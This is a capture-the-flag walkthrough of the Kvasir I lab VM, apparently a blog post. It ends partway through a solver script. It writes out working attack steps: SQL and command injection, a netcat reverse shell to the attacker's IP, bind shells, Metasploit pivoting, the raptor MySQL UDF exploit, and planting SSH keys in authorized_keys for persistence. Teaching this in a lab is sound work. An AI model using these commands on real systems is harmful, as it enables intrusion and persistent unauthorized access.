This is a write-up of the Kvasir1 virtual machine challenge by rasta_mouse (@_RastaMouse). It is a fantastic CTF that will keep you engaged, while teaching you multiple hacking concepts and network pivoting. The challenge was completed in December, 2023.

John Bush
36 min readJan 4, 2024

https://www.vulnhub.com/entry/kvasir-i,106/

What you will learn: SQL injection, creating a proxy in Metasploit to route commands through a single/double/triple pivot, inserting malicious SSH keys for remote access, the difference between reverse and bind shells, and why key reuse in an XOR function compromises security.

What you will need: The standard Kali Linux installation, plus the free software programs stepic and Audacity.

Difficulty: Medium/Hard.

Time commitment: This is a lengthy challenge. I would encourage you to use a computer that you can leave unattended and running for taking breaks.

My Setup: VMware was used for this virtual machine, with both the Vulnhub and attacker machine (mine) set to “Host only” within the network adapter settings.

A note on the proxy chaining: This lab will have multiple pivots through compromised machines through the Metasploit proxy server and Proxychains. During my initial run of this CTF, I noticed on a few occasions when a remote shell, SSH connection, or MySQL session was terminated re-attempts to connect through Proxychains would fail even though all routes and connections were still up. On almost all occasions this was due to a timeout or delay setting in the proxy. By stepping back and waiting 5 minutes the problem was usually solved on its own.

Let’s get started!

Step 1 — Discovery

Running “ip route” in terminal shows we are on the 172.16.98.0/24 network. As a standard practice, Nmap is run on the target network to identify devices.

sudo nmap -e eth0 -sn 172.16.98.0/24

Step 2 — Scanning, Enumeration, and initial Vulnerability Detection

The results of the above scan show the Kvasir target on the IP of 172.16.98.145. Now that we know the IP address of our target let’s use Nmap to perform OS enumeration and scanning of open TCP ports.

sudo nmap -n -O -sV 172.16.98.145

The results show only one port open, which is a web server on port 80. Let’s look at the web server in our browser and see what is there.

In your browser visit:

http://172.16.98.145:80

We find a login page with a link to register a new account.

A quick attempt at guessing credentials (admin:admin, guest:guest, etc) yielded no success, so I created a new account named User1 with a password and date of birth (user = User1, pass = 123456, dob = 01/01/1975).

After creating the account I then logged in as User1 to receive the following page, with no useful information to work with.

Reviewing the web page’s source did not reveal anything useful either, so I began trying invalid characters in the entry boxes to trigger an error. The username and password fields didn’t yield anything, but placing back tics (‘) in the DOB field did generate the following error:

The registration page is not filtering special characters and is likely vulnerable to SQL injection. The key piece of information from the error is the reference to ‘’’’, 0, NULL)’ which is likely a MySQL Insert statement. The 0 in the syntax could also be some form of permissions setting. Let’s try creating a new user and manually setting the 0 to a 1 with SQL injection.

user = User2
password = 123456
dob = ', 1, NULL) -- #)

The submission wasn’t rejected and seems to have went through. Time to login as the new User2 account. Once logged in we receive a different page than User1, suggesting we are now an administrator of the site.

The page implies we can check the status of a service running on the web server, with apache2 provided as a suggestion. After typing apache2 and pressing Submit, we get the following message:

Apache2 is running (pid 1330).

While this submission form is useful for gaining knowledge of processes running on the web server, we might be able to exploit this service to execute a command of our own. The goal would be to start a service such as netcat, which we could then connect to / from our attacking machine for gaining a shell. After some trial and error I was able to successfully execute a command with the following syntax:

apache2; command-to-inject #

Here is an example of the result after entering the command whoami:

apache2; whoami #

We can see from the section highlighted in red that we successfully executed the command of whoami, which returns www-data. Let’s gain a little bit more information about the web server to learn its operating system version by running uname -a.

apache2; uname -a #

We learn from the uname command that this is a x64 bit operating system which will be important in just a minute. Now that we have demonstrated the ability to run multiple commands on the web server, we will attempt on expanding the command injection vulnerability by running netcat to establish a reverse shell to our attacker box.

Step 2— Exploitation of first shell

Now typically on our attacker machine we would start a netcat listener on a port of our choosing (ex: nc -lvnp 4444), attempt the reverse shell from the web server, and wait for our listener to receive the connection. However, as we are going to learn Kvasir has a number of surprises for us. We will be navigating deep into a network and it will be critical to control all of our listeners inside Metasploit. Metasploit (specifically the Meterpreter shell) will enable us to add multiple pivot points within the network through a proxy. The result will make it easier for us in the long term to run programs from our attacker machine against targets, and retrieve files from compromised machines more effectively. So to start, on our attacking machine we will launch Metasploit with the command:

msfconsole

There is a lot to learn about Metasploit. I would recommend the site https://www.offensive-security.com/metasploit-unleashed if you would like to learn more, but I will cover the basics and commands going forward to complete this challenge. For our first shell we will start a listener (exploit/multi/handler) in Metasploit that will execute a payload (reverse shell) on our attacker box on port 4444. From the information we gathered earlier the payload will also need to be x64 bit. The commands in Metasploit to create this configuration are:

use exploit/multi/handler
set payload payload/linux/x64/shell_reverse_tcp
set lhost 172.16.98.128
set lport 4444

Our listener is now configured. You can verify your configuration with the command “show options”, which will give you results similar to the below:

show options

Now we want to run this configuration continuously in wait of the web server’s connection, so run “exploit” with the “-j” flag to specify that this configuration will run as a “job” in the background.

exploit -j

Note: You will get a message that Exploit completed, but no session was created, and that’s fine, we have only created a listener and haven’t yet created anything for connecting to it.

We can now verify the job is running with the command “jobs”.

jobs

Don’t do this right now, but if you ever need to kill a running job you can run “jobs -K” to end everything, or “jobs -k x” where x is specific job number (ID) you wish to end.

Now that our listener is running on port 4444, let’s go back to our browser and send the following command through the Service Check field to connect. This will create our Reverse Shell.

apache2; nc -e /bin/sh 172.16.98.128 4444 #

If successful you should see in Metasploit a message that “Command shell session 1 opened”.

You can verify all active sessions with the “sessions” command:

sessions

Congratulates! You have your first foothold into the network with a shell!

Step 3— Reconnaissance and first pivot.

Now that we have a shell in Metasploit we can access it with the sessions command by specifying the specific session (we only have one right now…) with -i:

sessions -i 1

Your prompt in Metasploit will now change to a flashing cursor with no prompt. Try typing commands such as: pwd, whoami, uname -a and see the results. These commands are being executed on the web server. Running “ls” will display a number of .php files in the /var/www directory. Review of either login.php or submit.php will reveal hard coded credentials (webapp:webapp) of a MySQL server on a new machine at 192.168.2.200.

cat login.php

Now this is where Kvasir begins to get interesting. If you noticed, the new IP address of 192.168.2.200 is on a different subnet than both the web server and our attacker box. How is this possible you ask? Check the network interfaces with:

/sbin/ifconfig

There are two network interfaces, eth0 and eth1 meaning the web server is dual honed.

Further recon on the web server did not reveal any more useful information. Use the background command to move the current (and active) session to the background and return to Metasploit.

background
y

From what we have learned this far the network looks like this:

Now we have a problem to solve. While the web server can communicate with the newly discovered MySQL server at 192.168.2.200 our attacker box cannot (the web server sits between us). We could connect back into session 1 and attempt to access the MySQL server through the shell running on the web server. If the MySQL server was our end objective this would be a reasonable choice. However, another option is we could use the web server as a pivot point that redirects network traffic through it from our attacker machine.

Having completed this challenge previously I know what is in store. We will need to go much, much deeper into the network to complete Kvasir. Therefore, choosing the pivot option is the better choice as we can build upon it multiple other pivots if needed.

Let’s get started pivoting!

The choice of using Metasploit to manage our connections allows us to upgrade these regular shells into Meterpreter shells. The Meterpreter shell features many more capabilities, but most important to us, is the ability to proxy traffic through it. Metasploit can upgrade our regular shell into a Meterpreter shell with “-u” as part of the sessions command.

sessions -u 1

You should see something similar to the following where Metasploit has upgraded session 1 into a Meterpreter shell, which begins a new connection on session 2. The original session 1 is still retained after this upgrade.

The next step is to enable the proxy server support within Metasploit. We will be using Proxychains to send commands from our attacker machine through the listening proxy server in Metasploit. The following commands will configure the proxy server in Metasploit and run it as job. We will use port 9050 and version 4a as these are the defaults in Proxychains. If for some reason you are not running the default settings in Proxychains, you can edit them here: /etc/proxychains.conf. My default proxychains.conf settings look like this.

Now in Metasploit setup our proxy.

use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
exploit -j

After starting the job, you can verify it is running with the jobs command.

Lastly, we need to tell Metasploit how to route traffic that comes in on the proxy server. This command will tell the proxy server to route traffic intended to the 192.168.2.0/24 network to session 2, which is the session running our Meterpreter shell on the web server. Use the route command afterwards to verify the configuration was successful.

route add 192.168.2.0 255.255.255.0 2
route

If everything is setup correctly, we can now run proxychains <command> from our attacker box and it will be routed to our proxy server, which can access the 192.168.2.200/24 network through our Meterpreter shell on session 2. The process of sending commands through the proxy looks like this:

Now our first instinct might be to try “proxychains ping 192.168.2.200”, right? Unfortunately, that will not work, as most proxies only support TCP and UDP, but not ICMP traffic. Let’s create a lightweight netcat port scanner using TCP instead. In a terminal window (separate from our Metasploit session) copy and run the following command to create the script, or download it from here:

printf '#!/bin/bash\n#Super easy netcat portscan for use with Proxychains.  Syntax:  ./easy_portscan.sh <ip-address-of-target> <max-port-to-scan>\nADDRESS=$1\nMAXPORT=$2\nfor i in `seq 1 $MAXPORT`; do nc -z -v $ADDRESS $i 2>&1 | grep 'open' | sed "s/(UNKNOWN)//" | sed "s/:.*//"; done' > easy_portscan.sh

Now make the script executable:

chmod +x easy_portscan.sh

The syntax of the script is ./easy_portscan.sh <target-ip-address> <max port to scan>. Let’s test this script with our proxy server while performing a port scan on 192.168.2.200 at the same time.

proxychains ./easy_portscan.sh 192.168.2.200 5000

Success! Our first pivot using our proxy is working. Our attacker box can communicate with the MySQL server, and we receive a list of open ports. Be sure to save this script, we will need it later.

Step 4 — Exploitation of the MySQL server.

With our proxy working, and credentials to the MySQL server, try connecting from our attacker machine. Again, use a different terminal than our Metasploit session.

proxychains mysql -h 192.168.2.200 -u webapp -p

After supplying the password “webapp” we successfully login and use “show databases;” to view what is there (don’t forget the ;):

show databases;

Now at this point a lot of patience is needed to search through the databases looking for valuable information. If you need help navigating the MySQL commands a good reference is https://www.mysqltutorial.org. You don’t need to know MySQL to complete this challenge, as I will walk through the commands I used and what was found.

Dropping the webapp > todo tables reveals an interesting note of “stop running mysql as root”. This is a hint that the MySQL server is running with root privileges (very bad, very insecure).

use webapp;
show tables;
select * from todo;

Dropping the mysql > users table reveals a ton of information including what looks like password hashes. We then select just the User and Password fields from the table “user” for a more readable format.

use mysql;
show tables;
select * from user;
select User, Password from user;

Great, we have the hash for user “root”.

root | ECB01D78C2FBEE997EDA584C647183FD99C115FD

Further digging on the MySQL server does not reveal anything useful. Let’s try searching the Internet and see if there is a previously recorded value for the hash. I’ll use hashes.com

Easy! The hash has previously been reported and correlates to the password: coolwater

We now have the password for user root. I quickly tried using the credentials to SSH into the MySQL server machine but that did not work. These credentials must only be valid for the MySQL user root, not the actual server’s root account. Remember the hint from earlier about the MySQL server running with root privileges? Maybe we can log in as the MySQL user root, then find a way to abuse the privileges MySQL is running at (as the system user root). From our current MySQL session type “exit” and log back in as user root with password coolwater.

proxychains mysql -h 192.168.2.200 -u root -p

Success! And we even get the MySQL version in the welcome prompt.

The goal now is to find a way out of the MySQL instance and eventually gain access to the underlying server. If we can find a way for the MySQL server to execute commands (command execution) we could open up a netcat listener, or even better, since our server is running as root, give ourselves SSH access.

A search of exploit.db (www.exploit-db.com/exploits/1518) gives us exactly what we need… the Raptor exploit for MySQL servers running as root. If you notice, this “exploit” isn’t actually a CVE (Common Vulnerabilities and Exposure). Raptor is actually a method of abusing a feature in older MySQL servers for creating your own User Defined Functions (UDFs), which were initially intended for administrators to create their own functions for instances where commands needed to be repeatedly run or very specific tasks performed. We can use Raptor to abuse the UDF process by making our own function that writes to the server’s file system.

Download the 1518.c exploit, rename it to raptor.c, and run the following in a new terminal (not our Metasploit or MySQL server terminals — which are still open) to compile it.

gcc -fPIC -g -c raptor.c
gcc -g -shared -Wl,-soname,raptor.so -o raptor.so raptor.o -lc

Now we have a compiled raptor.so file that we will import into MySQL as a UDF plugin to execute commands on the server. However, one problem. How do we get the file onto the MySQL server? We will be moving between terminals so follow closely. Let’s return to our terminal logged in as root on the MySQL server and verify the install path for the server’s plugins.

show variables like '%plugin%';
show variables like '%secure_file_priv%';

Now back in our attacker machine terminal, we will perform a trick to upload raptor.so into MySQL. As we only have the ability to enter text into the MySQL prompt, we will first encode raptor.so into hex, import the encoded hex into MySQL as a file, then import the file as a plugin. First encode raptor.so in hex.

xxd -p -c `stat --format="%s" raptor.so` raptor.so

The output of this command is the hex encoded value for raptor.so. We’ll now use the SELECT and DUMPFILE commands to insert this into the MySQL plugin location we verified earlier. Special thanks to g0blin and his write-up for the above idea.

The syntax is:

SELECT x'OUTPUT' INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so';

Where OUTPUT (with ‘ on both sides) is the very large value returned from the xxd command. I recommend preparing you full command in a text editor before pasting it into the MySQL prompt. If you have trouble see the end of this document where I provide a link to all of the tools I used, including my “Raptor_dumpfile_command.txt” file.

It worked! We now have a the raptor.so file saved to the MySQL plugins folder at /usr/lib/mysql/plugin/raptor.so. Next, we will officially add the file as a function to execute our system level commands.

create function do_system returns integer soname "raptor.so";
select * from mysql.func;

With the import of the Raptor UDF plugin this machine is compromised and we can run any command (nearly any command) we want on the MySQL server using the syntax:

select do_system('LINUX-COMMAND');

Now we have a path forward to gain remote access to the system. On our attacker machine we will create a new SSH key pair, then insert our public key into the authorized_keys folder using our created “do_system” function. On our attacker machine run the following, substituting your user name and leaving the password blank:

ssh-keygen -t rsa
home/tea/.ssh/badkey
<enter>
<enter>

Now copy the output of the below “cat” command to your clipboard.

cat /home/tea/.ssh/badkey.pub

You will have different values here, but the syntax will be similar to:
ssh-rsa KEY-INFORMATION username@hostname

Back on our MySQL server we will want to run the following, replacing PUBLIC with our public key that was just copied to your clipboard. Then set the appropriate permissions with chmod. Similar to the Raptor dumpfile command, it is easier to prepare this command in a text editor first.

select do_system('echo "PUBLIC" > /root/.ssh/authorized_keys');
select do_system('chmod 600 /root/.ssh/authorized_keys');

You can see from my example above what a successful execution of the command looks like. One item to note, the do_system function will not overwrite existing files. So if something goes wrong, you can always delete the authorized_key file and try again using “rm /root/.ssh/authorized_keys”.

With our public key now inserted on the server, we can attempt to SSH in from our attacker machine. My initial attempts were successful, and it wasn’t until I ran SSH in verbose mode that I noticed my system was rejecting the key type ssh-rsa (specifically, this key type with a SHA-1 hash was depreciated). The problem was on my end.

I considered redoing the key on the server, but instead the -o flag allowed me to force the key type on my system. Here is the command that worked to SSH in, giving me access as user root.

proxychains ssh root@192.168.2.200 -i /home/tea/.ssh/badkey -o PubkeyAcceptedKeyTypes=+ssh-rsa
Note: There is a typo in the -i key path. It should be /home/tea/.ssh/badkey

We are now logged in as root on the 192.168.2.200 server!

Step 5 — Reconnaissance of the MySQL server and second pivot

Initial reconnaissance shows a flag at /root/:

cat /root/flag

But this is “not the flag we are looking for”. A directory listing shows a hidden file of “words.txt”, which seems interesting. Let’s download it using SCP with the same certificate used for SSH.

ls -a /root/
proxychains scp -i /home/tea/.ssh/badkey -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.2.200:/root/.words.txt words.txt

Previously we had scanned this server with our port scanner and saw that in addition to SSH and MySQL, port 21 for FTP was open. Time to look further into this. First, I will run netstat to view open ports from the server’s perspective. This shows the instance of FTP as a being a “pure-ftpd” installation. Reviewing the pure-ftpd configuration we find a password hash for user “celes”. I then check the server’s /etc/password file for an entry for celes.

netstat -plant 
cat /etc/pure-ftpd/pureftpd.passwd
cat /etc/passwd | grep celes
Notice the TIME_WAIT state for 192.168.3.40

There is no user account celes on the server, only an FTP account in the pure-ftpd configuration. What was also interesting from the netstat results was the presence of a new IP address (192.168.3.40) on a different subnet that we haven’t’ seen before. Checking the network interfaces we learn why.

ifconfig

We also check the /etc/hosts file to find out information regarding another machine on the network, named terra at 192.168.3.50.

cat /etc/hosts

Similar to the web server, the MySQL sever is dual-honed (more than one network interface). The netstat results also showed that 192.168.3.40 was in a TIME_WAIT state, as if a connection had just closed. After watching the connection further, I was eventually able to record what looks like a repeated connection from 192.168.3.40 with the state changing multiple times.

The best way to further investigate what is going on is to look at the actual traffic with a packet capture on the eth1 interface.

mkdir /tmp/pcap
tcpdump -i eth1 -w /tmp/pcap/capture.pcap

Let tcpdump run for about four minutes then use ctrl+c to kill the process. We’ll now need to download the .pcap file to our attacker machine for analysis.

proxychains scp -i /home/tea/.ssh/badkey -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.2.200:/tmp/pcap/capture.pcap capture.pcap

Opening the packet capture in Wireshark shows quite a bit of FTP traffic. Standard FTP is insecure as the login credentials (username:password) are sent unencrypted from the client to the server. Wireshark has the ability to reassemble the FTP session for us to extract the credentials. Inside Wireshark click on any one of the FTP packets, then go to Analyze > Follow > TCP streams to reassemble the FTP session.

This reveals the following credentials that 192.168.3.40 is using via FTP
USER: celes
PASS: im22BF4HXn01

With the new credentials in hand we will shift our focus to the new 192.168.3.40 box (celes). But in order for our attacker machine to communicate with this new device, will have to setup another pivot through the MySQL server. It is time for a double pivot!

A note on Shells: For our first pivot (on the web server) we were able to connect back to our attacker machine’s Metasploit session with a reverse shell. A reverse shell is the most common method you will find in Capture The Flag (CTF) events, and it is where the victim box connects directly to a listener running on your attacker machine. A bind shell is the opposite, where the listener is on the victim machine and the attacker machine connects to it. The choice of which to use is commonly decided on which machine is behind a firewall (or NAT connection), or which machine has the appropriate routing to talk to the other. We will need to use the bind shell in this instance, as the victim (the MySQL server) does not have the network route back to our machine. Only our machine has a network route to the MySQL server through our proxy that is utilizing the web serer (that sits between us). For this reason we will have to be the ones to make the connection with a bind shell.

On the MySQL server start a netcat listener.

nc -lnvp 5555 -e /bin/sh

Then back on our Metasploit terminal, setup and run the bind shell.

use linux/x86/shell_bind_tcp
set lport 5555
set rhost 192.168.2.200
exploit

If successful you will now have a new session 3 which is a shell on the MySQL server. To make this useful for our second pivot we will need to upgraded the shell to a Meterpreter shell.

sessions -u 3

You should now have a 4th session for the Meterpreter shell.

And finally, add the route that tells our proxy where to send traffic (session 4) for communicating with the new celes machine on the 192.16.3.0 network.

route add 192.168.3.0 255.255.255.0 4

Your routing table should now look like this.

route

We can test everything is working from our attacking machine by using our previous port scanner. From your attacker machine run the easy_portscan app against the celes box.

proxychains ./easy_portscan.sh 192.168.3.40 5000

If you get responses back for port 22 (I also got 1194) give yourself a high five!! Well done!!

For reference this is what our proxy configuration now looks like:

And this is the network map.

Step 6 — Reconnaissance against celes and access to terra.

We have the username and password for celes (celes:im22BF4HXn01) and we know SSH on port 22 is open, so let’s try connecting from our attacker machine in the chance credentials are re-used between the FTP and SSH accounts.

proxychains ssh celes@192.168.3.40

It worked! Since we have seen a number of multi-interface servers, a quick check of this machine reveals it only has one.

/sbin/ifconfig

Searching through the system we find some clues by reading email for user celes, which mentions kvasir.png.

cat /var/spool/mail/celes

The kvasir.png file is easily found under celes’ home directory, and we find another hint in the user’s bash history.

ls -a /home/celes
cat /home/celes/.bash_history

It looks like the user has run a command for help on the program “stepic”. Not initially familiar with stepic, a quick Internet search reveals it is a steganography tool. This is a likely hint that the kvasir.png file has hidden data within it. There is nothing more to discover on the celes machine. Time to download the kvasir.png file, and install stepic. Note: As mentioned at the beginning of this guide, I had some trouble between the exit and SCP commands, where the proxy needed time to process the state change.

exit
proxychains scp celes@192.168.3.40:/home/celes/kvasir.png /tmp/kvasir.png

This is the kvasir image (which is a Stargate character if you were wondering).

The stepic program was not initially on my Kali machine, so I had to install it, then extract the data from the kvasir.png image.

sudo apt install stepic
stepic -d -i kvasir.png

I received some output from stepic, which looks like hex. Let’s run the output through xxd, save it, then use the “file” command to gather any further information.

stepic -d -i kvasir.png | xxd -r -p > extracted
file extracted
mv extracted extracted.png

The extracted file looks to be another PNG. The default Kali image viewer had problems opening extracted.png, but Chrome was successful.

The extracted PNG is a QR code. Using Internet tools (or your phone) you can read the code’s contents, which are: Nk9yY31hva8q

https://appdevtools.com/qrcode-reader

This certainly looks like a password. But to what? The previous email we read referenced another machine. Could this be the 192.168.3.50 machine terra?

I had some difficulty running the easy_portscan program from my attacker machine against 192.168.3.50. I tried various nmap TCP scans as well, but couldn’t determine the problem (I was not getting an accurate scans) so I logged back into the MySQL server as root, and scanned from there.

proxychains ssh root@192.168.2.200 -i /home/tea/.ssh/badkey -o PubkeyAcceptedKeyTypes=+ssh-rsa

printf '#!/bin/bash\n#Super easy netcat portscan for use with Proxychains. Syntax: ./easy_portscan.sh <ip-address-of-target> <max-port-to-scan>\nADDRESS=$1\nMAXPORT=$2\nfor i in `seq 1 $MAXPORT`; do nc -z -v $ADDRESS $i 2>&1 | grep 'open' | sed "s/(UNKNOWN)//" | sed "s/:.*//"; done' > easy_portscan.sh

chmod +x easy_portscan.sh

./easy_portscan.sh 192.168.3.50 5000

I am beginning to think the openvpn (1194) port might be an error of some kind in my scanner (I will have to troubleshoot that later), but port 22 (SSH) is open, as well as 4444. Port 4444 is suspicious, and commonly used as a netcat listener (in fact, we used it earlier for our reverse shell). Since I’m already SSH’d in to the MySQL server we’ll connect to terra directly from there.

nc 192.168.3.50 4444

Well that is interesting. After hitting enter a few times… it appears this is a game. Remember the words.txt we downloaded earlier? This game is an anagram solver. The words from terra need to be compared to the words.txt file to see if they are the same set of letters, just rearranged.

We can solve this manually (a pain) or we could write a program to do it for us. Rather than reinvent the wheel, we’ll use a python program written by Knabsy (his guide here — courtesy of archive.org) and give him the credit for solving this particular challenge. Knabsy did a great job with adding comments to his code, so I encourage you to read through it for a basic understanding of how it works.

Here is the code. Copy the code into a text editor on your attacker machine and save it as knabsys_solver.py, in the same directory that you saved words.txt earlier.

#!/usr/bin/python

import socket

# dictionary
wordlist=open("words.txt","r")

# Open socket and retrieve welcome message
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.3.50", 4444))
sock.recv(38)

# Keep getting data until socket closes
while True:
# Read data from the server
data = sock.recv(5120)

# Get the word to decode and strip out spaces and new line
phrase = data[6:].rstrip()
print "Phrase = " + phrase

# Rewind the file back to start
wordlist.seek(0);

# Go through each line in the wordlist and try to find a match
for line in wordlist:
found_match = True
answer = "n/a"

# Remove whitespaces and new lines from dictionary word
word = line.rstrip()

# Start investigating phrase only if it has the same length as selected word from dictionary
if len(phrase) == len(word):
# Go through every letter in the phrase and check number of its occurrences against dictionary word,
# if it matches number of occurences of the letter in the phrase, move on to the next letter.
# As soon as it fails, don't bother investigating the word further
for i in range(len(phrase)):
if phrase.count(phrase[i]) != word.count(phrase[i]):
found_match = False
break;
if found_match:
answer = word;
break;

print "Answer = " + answer

# Send answer to the server
sock.send(answer);

The target of 192.168.3.50 and port 4444 are hard-coded in the program. Let’s run it through proxychains on our attacker machine.

proxychains python2 knabsys_solver.py

In less than 3 seconds Knabsy’s program solves the anagram challenge, and we are greeted with reward text that looks to be base64 encoded. Copy the returned text into a file named base64_reward.txt and decode. Note: you may need to do a ctrl+c first to exit out of knabsys_solver.py.

base64 -d base64_reward.txt > base64_decoded.txt
cat base64_decoded.txt

We have a private key! Let’s move it to our .ssh directory, set the appropriate permissions, then attempt to SSH into terra’s machine. Oh, and we will need that password we recovered earlier from the QR code (Nk9yY31hva8q).

mv base64_decoded.txt /home/tea/.ssh/terra

chmod 600 /home/tea/.ssh/terra

proxychains ssh terra@192.168.3.50 -i /home/tea/.ssh/terra -o PubkeyAcceptedKeyTypes=+ssh-rsa

We now have access to terra’s machine! We are getting even closer to solving Kvasir.

Here is a “toast” to you for your amazing hacker skills!

Step 7 — Reconnaissance against Terra and third pivot.

On terra’s machine we read more email and receive a hint about a port knocking game. You can learn more about port knocking here.

cat /var/spool/mail/terra

But wait, notice the sender, and more specifically the sender’s IP address of 192.168.4.100? That is a new machine and a new subnet! Let’s check the terra machine’s network interfaces.

/sbin/ifconfig

It is dual honed again!!!!

This could only mean one thing….

There is nothing else to find on terra’s machine. So let’s start a netcat listener, and setup the third pivot. On terra’s machine verify the system architecture (it’s 64 bit) then start the listener.

uname -r
nc -lnvp 6666 -e /bin/sh &

Then in our Metasploit terminal create the bind shell and exploit it.

use payload/linux/x64/shell_bind_tcp
set rhost 192.168.3.50
set lport 6666
exploit

Once the connection is established upgrade the new session to a Meterpreter shell.

sessions -u 5

If everything was successful you will now have a list of sessions similar to the following.

sessions

Isn’t it beautiful?

Six different sessions (three shells and three Meterpreter shells) across three different machines.

Similar as before, we need to add an additional route to communicate with the 192.168.4.100 network. Add the route and verity your routing table in Metasploit looks similar to mine. Take notice that each route corresponds to a Meterpreter session, which is routing our traffic to each new network that we discover.

route add 192.168.4.0 255.255.255.0 6
route

Our proxy setup now looks like the following.

And our network map like this:

Step 8 — The final challenge.

We are almost there! We only have to go a littler further. These are the final few steps. Let’s keep going!

Back on the attacker machine we can test our proxy and port scan locke’s machine (192.168.4.100)

proxychains ./easy_portscan.sh 192.168.4.100 5000

We see port 22 is open, but we know from the previous hint in email that there is a port knocking challenge on locke’s machine. We’ll try the default open sequence for knockd (a common port knocking server application), which is port 7000, 8000, then 9000. I then run easy_portscan again to see if anything new has opened.

proxychains nc -z 192.168.4.100 7000 8000 9000

proxychains ./easy_portscan.sh 192.168.4.100 5000

Port 1111 is now open, which is likely a netcat listener we can connect to. Note: I discovered some logic here that by scanning port 1111 after it has been opened the port will close again. So we’ll have to re-run the open sequence then connect. Use “ls” and “whoami” afterwards to verify you have a shell.

proxychains nc -z 192.168.4.100 7000 8000 9000

proxychains nc 192.168.4.100 1111

ls

whoami

I ran /sbin/ifconfig to check if we have another multi-interface machine but there is only one (sad face, no fourth pivot for us…). We also don’t have a full shell, but it is ok, we won’t be here long. Let’s add our public key to this machine so we can SSH in directly. Copy the output of the cat command on your attacker machine, and replace KEY in the echo command with the copied value. Then run the rest of the commands on the locke machine (Note: don’t forget to replace “tea” with your username).

cat /home/tea/.ssh/badkey.pub

mkdir /home/locke/.ssh

echo 'KEY' > /home/locke/.ssh/authorized_keys

chmod 600 /home/locke/.ssh/authorized_keys

exit

Now from your attacker machine SSH in to locke.

proxychains ssh locke@192.168.4.100 -i /home/tea/.ssh/badkey -o PubkeyAcceptedKeyTypes=+ssh-rsa

Initial recon shows two users on this machine, locke (who we are logged in as now) and kefka.

ls /home/

cat /etc/passwd

Looking at locke’s home directory we see note.txt that references an image (disk image) file, which is diskimage.tar.gz. We will need to download this file to out attacker machine for further review.

ls -a /home/locke

cat /home/locke/note.txt

exit

proxychains scp -i /home/tea/.ssh/badkey -o PubkeyAcceptedKeyTypes=+ssh-rsa locke@192.168.4.100:/home/locke/diskimage.tar.gz diskimage.tar.gz

We will first need to extract the .tar.gz archive, then we will mount the image to /tmp/mounted and see what is inside.

tar -xvzf diskimage.tar.gz

mkdir /tmp/mounted

sudo mount diskimage /tmp/mounted

ls -la /tmp/mounted/

Inside the mounted disk image we find Secret.rar. I attempt to unrar the archive but it is password protected, which means we will have to explore further to find the password for extracting it. One interesting item is that the “diskimage” file is 62.6Mb but Secret.rar is only 118 Bytes. Could there more files (deleted or corrupted) inside the disk image file other than just the .rar file? The program “foremost” is good at this. You can read more about foremost here. Let’s copy out Secret.rar, un-mount the image, then run foremost against it.

cp /tmp/mounted/Secret.rar Secret.rar

sudo umount /tmp/mounted

foremost -i diskimage -o foremost_output -v

Foremost finds two files, but the original file names are not preserved. We now have a .rar file (00000512.rar), which is Secret.rar, and a new .wav file (00000514.wav). If you try to play the .wav file I’ll warn you in advance it will not sound pleasant to your ears. Let’s open the file in Audacity and view the waveform. If you don’t already have audacity you can install it with “sudo apt install audacity”.

This is what the audio waveform looks like in Audacity. However, if you change the view mode to Spectrogram (click the black arrow highlighted in red) you’ll find something interesting.

This is why the the file sounds so terrible, it is not music at all, but text encoded as audio. Pretty cool trick. The text is OrcWQi5VhfCo, which is a password to something. Let’s try to unrar Secret.rar with it, and view the output (MyPassword.txt).

unrar x Secret.rar

cat MyPassword.txt

We have another password of 5224XbG5ki2C. If you remember, there were two accounts on locke’s box (locke and kefka). Time to try SSH’ing back into locke’s machine as user kefka.

proxychains ssh kefka@192.168.4.100

We now have additional privileges on the system as user kefka (sudo -l). There doesn’t appear to be anything useful in kefka’s home directory, but further recon finds an interesting program in /opt/ that we have access to execute, but not read/write. Guess we are running the program to see what happens.

ls -lah /opt/

sudo /opt/wep2.py

Nothing interesting appears to happen, after waiting a few seconds I ctrl+c to exit, and receive and interesting error indicating an open socket. Is the program creating a new listener? Let’s run netstat to see what ports are open, then re-run the wep2.py in the background (don’t forget the &) so we can see what has changed with netstat.

netstat -plant

sudo /opt/wep2.py &

netstat -plant

Whatever wep2.py does, it seems to at least open port 1234. We’ll try connecting to the open port directly from the remote machine.

nc localhost 1234

After connecting to the port, I chose option V to view the encrypted flag, which is 843057:00c8bb7099ae7f26ef7ecb03. (Note, this flag changes between each instance that web2.py is run, and will be different in your attempt).

After encrypting strings for a few minutes (syntax is: E string) it appears there is some xor logic occurring here, in that the strings are being encrypted with a key, by xor’ing the key and the input string together. This is weak security if key re-use occurs. You can read more about the concept here and here.

The big hint to this theory is the /opt/ program is named wep, as in Wired Equivalent Privacy (WEP) a legacy form of encrypting Wi-Fi packets. WEB was eventually deemed insecure due to a similar problem of xor’ing a repeated key with an initialization vector. Here is a paper that explains the concept.

Judging from the output of web2.py, here is what I’m assuming is happening:

INPUT = string

FUNCTION = string XOR random-key

OUTPUT = random-key : cipher-text.

In the above 843057 is the random-key and 00c8bb7099ae7f26ef7ecb03 is the cipher-text. We know the key, but our job is to find what the INPUT was to generate 00c8bb7099ae7f26ef7ecb03. At this point we obviously don’t know what the INPUT was, but we do know it was of 12 characters in length. Try it yourself. Run various strings through the program and you will eventually find that a message of 12 characters generates an output of 24 characters, the same length of the cipher-text.

The basic concept on this challenge is that because the key length is so small (only six digits) it will quickly be reused. If we can continually provide INPUT messages of 12 characters to encrypt, we’ll eventually have key re-use, and will have a situation where we know the INPUT and cipher-text pair that was encrypted with the same key as our flag. When this occurs we can do some XOR math to remove the encryption.

As with the anagram solver, Knabsy has written a program to do exactly this. His program builds a list of keys, then performs the XOR’ing for us once a collision (re-use) has occurred. Here is the code:

#!/usr/bin/python

import socket

# XOR strings function definition (ensure to pass in binary values)
#
def xor_strings(p_string1, p_string2):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(p_string1, p_string2))

# Initialise socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 1234))

# Get banner and instructions
sock.recv(200)

# Random, known message of the same length as the flag
# to be used later for XOR operations
message = "A" * 12

# Collections of encrypted flags and messages
flags = {}
messages = {}

while True:
# Build a list of known encrypted flags
sock.send("V\n")
encrypted_flag = sock.recv(200).strip()
flag_key = encrypted_flag[:6]
flag_value = encrypted_flag[7:]
